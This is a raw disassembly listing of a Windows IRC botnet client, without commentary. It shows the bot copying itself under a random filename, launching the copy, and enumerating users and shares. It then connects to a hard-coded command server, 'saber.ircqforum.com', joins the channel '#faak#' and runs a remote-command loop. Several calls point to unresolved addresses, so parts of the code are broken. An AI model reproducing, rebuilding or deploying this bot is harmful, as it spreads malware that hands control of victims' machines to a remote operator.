1Ch loc_40E452: ; CODE XREF: sub_40E337+9Ej ; sub_40E337+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40E465 push edi call dword_43AE28 xor edi, edi mov [ebp+var_4], edi loc_40E465: ; CODE XREF: sub_40E337+A5j ; sub_40E337+120j cmp [ebp+var_C], 0EAh jz loc_40E376 cmp edi, esi jz short loc_40E47D push edi call dword_43AE28 loc_40E47D: ; CODE XREF: sub_40E337+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40E337 endp ; =============== S U B R O U T I N E ======================================= sub_40E4B7 proc near ; CODE XREF: sub_40DAF0+41p ; sub_40DCE6+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40E569 jz loc_40E562 cmp eax, 7Bh ja short loc_40E52E jz short loc_40E524 cmp eax, 5 jz short loc_40E51A cmp eax, 8 jz short loc_40E510 cmp eax, 32h jz short loc_40E506 cmp eax, 35h jz short loc_40E4FC cmp eax, 57h jnz loc_40E5B8 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E4FC: ; CODE XREF: sub_40E4B7+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E506: ; CODE XREF: sub_40E4B7+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E510: ; CODE XREF: sub_40E4B7+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E51A: ; CODE XREF: sub_40E4B7+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E524: ; CODE XREF: sub_40E4B7+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E52E: ; CODE XREF: sub_40E4B7+1Aj sub eax, 7Ch jz short loc_40E55B sub eax, 7C8h jz short loc_40E554 dec eax jz short loc_40E54A dec eax jnz short loc_40E5B8 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40E4B7+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E554: ; CODE XREF: sub_40E4B7+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E55B: ; CODE XREF: sub_40E4B7+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E562: ; CODE XREF: sub_40E4B7+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E569: ; CODE XREF: sub_40E4B7+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40E5A2 jz short loc_40E59B sub eax, 8ADh jz short loc_40E5CD dec eax dec eax jz short loc_40E594 dec eax jz short loc_40E58D dec eax dec eax jnz short loc_40E5B8 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E58D: ; CODE XREF: sub_40E4B7+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E594: ; CODE XREF: sub_40E4B7+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E59B: ; CODE XREF: sub_40E4B7+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5A2: ; CODE XREF: sub_40E4B7+B9j sub eax, 8CAh jz short loc_40E5D4 sub eax, 17h jz short loc_40E5CD sub eax, 25h jz short loc_40E5C6 sub eax, 29h jz short loc_40E5BF loc_40E5B8: ; CODE XREF: sub_40E4B7+35j ; sub_40E4B7+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5BF: ; CODE XREF: sub_40E4B7+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5C6: ; CODE XREF: sub_40E4B7+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5CD: ; CODE XREF: sub_40E4B7+C2j ; sub_40E4B7+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5D4: ; CODE XREF: sub_40E4B7+F0j push offset aNetworkConnect ; "Network connection not found." loc_40E5D9: ; CODE XREF: sub_40E4B7+40j ; sub_40E4B7+4Aj ... push offset dword_43F408 call sub_4172B0 pop ecx mov eax, offset dword_43F408 pop ecx retn sub_40E4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E5EB proc near ; CODE XREF: sub_40EE72+2231p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4199B9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 27C0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4199B9 lea eax, [ebp+var_718] push eax call sub_41999C add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43ADA8 test eax, eax jnz short loc_40E67B mov esi, offset dword_43F204 push offset dword_42F568 push esi call sub_4172B0 pop ecx pop ecx jmp short loc_40E6A4 ; --------------------------------------------------------------------------- loc_40E67B: ; CODE XREF: sub_40E5EB+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40E4B7 pop ecx mov esi, offset dword_43F204 push eax push offset dword_42F530 push esi call sub_4172B0 add esp, 14h loc_40E6A4: ; CODE XREF: sub_40E5EB+8Ej mov eax, esi pop esi leave retn sub_40E5EB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-0Ch], ebx mov dword ptr [ebp-8], offset sub_40D3A5 push dword ptr [ebp-8] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_424058 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CD5F0, eax call esi push eax call sub_417302 pop ecx call sub_40981F push 2 call dword_43AE44 push 7530h push offset aBotid ; "botid" push ebx push ebx call near ptr 27D0349h nop push eax nop call near ptr 2650B6Eh cmp eax, 102h jnz short loc_40E726 push 1 call near ptr 77E75CB5h nop loc_40E726: ; CODE XREF: ___:0040E71Cj lea eax, [ebp-884h] push eax push 202h call dword_43AD10 cmp eax, ebx mov [ebp-8], eax jnz loc_40EB89 cmp byte ptr [ebp-884h], 2 jnz loc_40EB83 xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_40EB83 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2620087h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2720A08h push eax nop call near ptr 2660000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_4192B8 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp-5F4h] push esi push eax call sub_41782A lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_417880 add esp, 1Ch test eax, eax jnz loc_40E98C cmp dword_42F5BC, ebx mov esi, offset byte_42F674 jz short loc_40E824 push esi xor edi, edi call sub_417AB0 sub eax, 4 pop ecx jz short loc_40E824 loc_40E801: ; CODE XREF: ___:0040E822j call sub_41730C push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42F674[edi], dl inc edi call sub_417AB0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40E801 loc_40E824: ; CODE XREF: ___:0040E7F1j ; ___:0040E7FFj lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 26903A8h nop cmp eax, 0FFFFFFFFh jz short loc_40E864 lea eax, [ebp-1E8h] push 80h push eax call near ptr 27710B7h nop loc_40E864: ; CODE XREF: ___:0040E850j mov esi, dword_424160 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_40E87B: ; CODE XREF: ___:0040E8B2j call esi test eax, eax jnz short loc_40E8B4 nop call near ptr 2650C0Ah cmp edi, ebx jnz short loc_40E8B4 cmp eax, 20h jz short loc_40E895 cmp eax, 5 jnz short loc_40E8B4 loc_40E895: ; CODE XREF: ___:0040E88Ej push 1 pop edi push 3A98h nop call near ptr 2620000h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_40E87B ; --------------------------------------------------------------------------- loc_40E8B4: ; CODE XREF: ___:0040E87Fj ; ___:0040E889j ... lea eax, [ebp-1E8h] push eax call sub_40AB7C pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 27710B7h push 10h lea eax, [ebp-1Ch] push ebx push eax call sub_417330 push 44h lea eax, [ebp-64h] pop esi push esi push ebx push eax call sub_417330 add esp, 18h mov [ebp-64h], esi mov dword ptr [ebp-58h], offset byte_436EDC mov [ebp-34h], bx push 1 pop esi mov [ebp-38h], esi nop call near ptr 27C0DE9h push eax push esi push 100000h call near ptr 2720470h nop lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_42F7EC push eax call sub_4172B0 add esp, 14h lea eax, [ebp-1Ch] push eax lea eax, [ebp-64h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 276050Eh test eax, eax jz short loc_40E98C push 0C8h nop call near ptr 2620000h push dword ptr [ebp-1Ch] mov esi, dword_424078 call esi push dword ptr [ebp-18h] call esi call dword_43ACF8 push ebx call near ptr 77E75CB5h nop loc_40E98C: ; CODE XREF: ___:0040E7E0j ; ___:0040E962j cmp dword_4CD9D0, 2 jle short loc_40E9D8 mov eax, dword_4CD9D4 push dword ptr [eax+4] call sub_41781F pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2650B6Eh push esi call near ptr 26318FCh nop mov eax, dword_4CD9D4 cmp [eax+8], ebx jz short loc_40E9D8 push 7D0h nop call near ptr 2620000h mov eax, dword_4CD9D4 push dword ptr [eax+8] nop call near ptr 27C0CF0h loc_40E9D8: ; CODE XREF: ___:0040E993j ; ___:0040E9BDj cmp dword_42F5C0, ebx jz short loc_40E9F5 cmp dword_43AE68, ebx jnz short loc_40E9F5 lea eax, [ebp-5F4h] push eax call sub_40C1AE pop ecx loc_40E9F5: ; CODE XREF: ___:0040E9DEj ; ___:0040E9E6j lea eax, [ebp-0E4h] push offset dword_42F7C4 push eax call sub_4172B0 push ebx lea eax, [ebp-0E4h] push ebx push eax call sub_416D5C lea eax, [ebp-0E4h] push eax call sub_40BF6D push 0B80h push ebx push offset dword_43FA70 call sub_417330 call sub_41730C push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CD5FC mov dword_4CD770, ebx call sub_418C10 mov eax, dword_42F5A0 push 3Fh mov edi, offset dword_4CD67C push offset aFaak ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh mov esi, offset dword_4CD6BC push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 48h mov dword_4CD750, ebx loc_40EA83: ; CODE XREF: ___:0040EB29j ; ___:0040EB34j ... mov [ebp-4], ebx loc_40EA86: ; CODE XREF: ___:0040EADDj cmp dword_43AE80, ebx jnz short loc_40EAA4 lea eax, [ebp-20h] push ebx push eax call dword_43ACDC test eax, eax jnz short loc_40EAA4 push 7530h jmp short loc_40EAD0 ; --------------------------------------------------------------------------- loc_40EAA4: ; CODE XREF: ___:0040EA8Cj ; ___:0040EA9Bj push offset dword_4CD5F8 mov dword_4CD76C, ebx call sub_40EB92 cmp eax, 2 mov [ebp-8], eax jz loc_40EB7E cmp dword_4CD76C, ebx jz short loc_40EACB dec dword ptr [ebp-4] loc_40EACB: ; CODE XREF: ___:0040EAC6j push 0BB8h loc_40EAD0: ; CODE XREF: ___:0040EAA2j nop call near ptr 2620000h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_40EA86 cmp dword ptr [ebp-8], 2 jz loc_40EB7E cmp [ebp-0Ch], ebx jz short loc_40EB2E push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CD5FC call sub_418C10 mov eax, dword_42F5A0 push 3Fh push offset aFaak ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 24h mov [ebp-0Ch], ebx jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB2E: ; CODE XREF: ___:0040EAECj cmp byte_42F650, bl jz loc_40EA83 push 7Fh push offset byte_42F650 push offset dword_4CD5FC call sub_418C10 mov eax, dword_42F5A4 push 3Fh push offset aFaak_0 ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_418C10 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB7E: ; CODE XREF: ___:0040EABAj ; ___:0040EAE3j call sub_416F25 loc_40EB83: ; CODE XREF: ___:0040E74Aj ; ___:0040E75Aj call dword_43ACF8 loc_40EB89: ; CODE XREF: ___:0040E73Dj pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB92 proc near ; CODE XREF: ___:0040EAAFp ; DATA XREF: sub_40EE72+3B0Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40EBB7: ; CODE XREF: sub_40EB92+E6j ; sub_40EB92+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43AD98 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40ADCA test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40ECE4 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_417330 push 0 lea eax, [ebp+var_2C] push dword_4CD760 push dword_42F5CC push eax call sub_415D01 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_440808 push edi push eax call sub_418C10 add esp, 28h push 6 push 1 push 2 call dword_43AE18 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_4407FC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_40EC7D push esi call dword_43AE30 call sub_40ADF3 push 7D0h loc_40EC72: ; CODE XREF: sub_40EB92+146j nop call near ptr 2620000h jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40EC7D: ; CODE XREF: sub_40EB92+CDj lea eax, [ebp+var_18C] push eax push offset dword_42F7F8 call sub_40BFE1 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40ECFA add esp, 28h mov edi, eax push esi call dword_43AE30 test edi, edi jz loc_40EBB7 cmp edi, 1 jnz short loc_40ECDA push 0DBBA0h jmp short loc_40EC72 ; --------------------------------------------------------------------------- loc_40ECDA: ; CODE XREF: sub_40EB92+13Fj cmp edi, 2 jz short loc_40ECE8 jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40ECE4: ; CODE XREF: sub_40EB92+5Aj xor eax, eax jmp short loc_40ECF4 ; --------------------------------------------------------------------------- loc_40ECE8: ; CODE XREF: sub_40EB92+14Bj push [ebp+var_34] call sub_417078 pop ecx push 2 pop eax loc_40ECF4: ; CODE XREF: sub_40EB92+154j pop edi pop esi leave retn 4 sub_40EB92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECFA proc near ; CODE XREF: sub_40EB92+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_417B30 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40ED18: ; CODE XREF: sub_40ECFA+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40ED18 cmp byte_4CD768, bl jz short loc_40ED3F push offset byte_4CD768 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40D633 add esp, 0Ch loc_40ED3F: ; CODE XREF: sub_40ECFA+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_40EDA9 push [ebp+arg_0] call dword_43AE30 push 1388h nop call near ptr 2620000h loc_40EDA2: ; CODE XREF: sub_40ECFA+D9j ; sub_40ECFA+153j xor eax, eax loc_40EDA4: ; CODE XREF: sub_40ECFA+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40EDA9: ; CODE XREF: sub_40ECFA+92j ; sub_40ECFA+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43ADB0 test eax, eax jle short loc_40EDA2 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_40A868 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40EDA9 lea edi, [ebp+var_A10] loc_40EDFA: ; CODE XREF: sub_40ECFA+165j push 1 pop esi loc_40EDFD: ; CODE XREF: sub_40ECFA+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40EE72 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40EE40 push 7D0h nop call near ptr 2620000h jmp short loc_40EDFD ; --------------------------------------------------------------------------- loc_40EE40: ; CODE XREF: sub_40ECFA+137j cmp esi, 0FFFFFFFDh jz short loc_40EE6A cmp esi, 0FFFFFFFEh jz short loc_40EE66 cmp esi, 0FFFFFFFFh jz loc_40EDA2 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40EDFA jmp loc_40EDA9 ; --------------------------------------------------------------------------- loc_40EE66: ; CODE XREF: sub_40ECFA+14Ej push 1 jmp short loc_40EE6C ; --------------------------------------------------------------------------- loc_40EE6A: ; CODE XREF: sub_40ECFA+149j push 2 loc_40EE6C: ; CODE XREF: sub_40ECFA+16Ej pop eax jmp loc_40EDA4 sub_40ECFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE72 proc near ; CODE XREF: sub_40ECFA+12Ap var_15B0 = byte ptr -15B0h var_11B0 = byte ptr -11B0h var_FB0 = byte ptr -0FB0h var_DB0 = byte ptr -0DB0h var_CB0 = byte ptr -0CB0h var_CAC = byte ptr -0CACh var_BAC = byte ptr -0BACh var_BA8 = byte ptr -0BA8h var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9C7 = byte ptr -9C7h var_9C6 = byte ptr -9C6h var_9C4 = byte ptr -9C4h var_9C3 = byte ptr -9C3h var_9BA = byte ptr -9BAh var_9B8 = byte ptr -9B8h var_9B6 = byte ptr -9B6h var_9B5 = byte ptr -9B5h var_928 = byte ptr -928h var_90C = dword ptr -90Ch var_908 = byte ptr -908h var_804 = dword ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = byte ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = byte ptr -7E8h var_780 = byte ptr -780h var_774 = byte ptr -774h var_770 = dword ptr -770h var_76C = byte ptr -76Ch var_768 = byte ptr -768h var_75C = byte ptr -75Ch var_73C = dword ptr -73Ch var_738 = byte ptr -738h var_710 = dword ptr -710h var_708 = byte ptr -708h var_6FC = dword ptr -6FCh var_6F8 = byte ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_6E8 = byte ptr -6E8h var_6B8 = byte ptr -6B8h var_681 = byte ptr -681h var_680 = byte ptr -680h var_678 = byte ptr -678h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_5F8 = byte ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = byte ptr -500h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = byte ptr -4E8h var_4C0 = byte ptr -4C0h var_4A0 = dword ptr -4A0h var_488 = byte ptr -488h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_458 = byte ptr -458h var_444 = byte ptr -444h var_434 = byte ptr -434h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_3FC = byte ptr -3FCh var_3F8 = byte ptr -3F8h var_3D8 = byte ptr -3D8h var_3B4 = byte ptr -3B4h var_398 = byte ptr -398h var_388 = byte ptr -388h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = byte ptr -2F8h var_2EC = word ptr -2ECh var_2EA = word ptr -2EAh var_2E8 = dword ptr -2E8h var_2DC = byte ptr -2DCh var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 15B0h call sub_417B30 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2DC] push ebx push eax mov [ebp+var_C0], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_DC], ebx call sub_417330 push 1Bh lea eax, [ebp+var_928] push [ebp+arg_10] push eax call sub_418C10 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40F239 push esi lea eax, [ebp+var_FB0] push ebx push eax call sub_417330 dec esi lea eax, [ebp+var_FB0] push esi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push offset asc_432E84 ; " :" push eax call sub_417880 mov [ebp+var_C], eax lea eax, [ebp+var_FB0] push esi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 mov esi, offset asc_42A3B4 ; " " lea eax, [ebp+var_11B0] push esi push eax call sub_418B6E add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_BC], 1Fh loc_40EF45: ; CODE XREF: sub_40EE72+E7j push esi push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+var_BC] pop ecx jnz short loc_40EF45 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40F239 cmp [ebp+var_90], ebx jz loc_40F239 push 100h lea eax, [ebp+var_A28] push ebx push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40EF93: ; CODE XREF: sub_40EE72+153j mov eax, [ecx] cmp eax, ebx jz short loc_40EFBF cmp byte ptr [eax], 2Dh jnz short loc_40EFC7 cmp [eax+2], bl jnz short loc_40EFC7 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A28], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40EFBF: ; CODE XREF: sub_40EE72+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40EF93 loc_40EFC7: ; CODE XREF: sub_40EE72+12Aj ; sub_40EE72+12Fj cmp [ebp+var_9B5], bl jz short loc_40EFD2 mov [ebp+var_8], edi loc_40EFD2: ; CODE XREF: sub_40EE72+15Bj cmp [ebp+var_9BA], bl jz short loc_40EFE0 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40EFE0: ; CODE XREF: sub_40EE72+166j cmp byte ptr [esi], 0Ah jz short loc_40F01A push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_D8] push eax call sub_418C10 lea eax, [ebp+var_D8] push offset asc_432E80 ; "!" push eax call sub_418B6E add esp, 20h loc_40F01A: ; CODE XREF: sub_40EE72+171j push esi push offset aPing ; "PING" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F06B push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40D633 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40F10F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h jmp loc_40F10F ; --------------------------------------------------------------------------- loc_40F06B: ; CODE XREF: sub_40EE72+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a005 ; "005" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a302 ; "302" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F0D3 push offset a@ ; "@" push [ebp+var_88] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40F10F inc eax push 9Fh push eax push [ebp+arg_1C] call sub_418C10 jmp short loc_40F10C ; --------------------------------------------------------------------------- loc_40F0D3: ; CODE 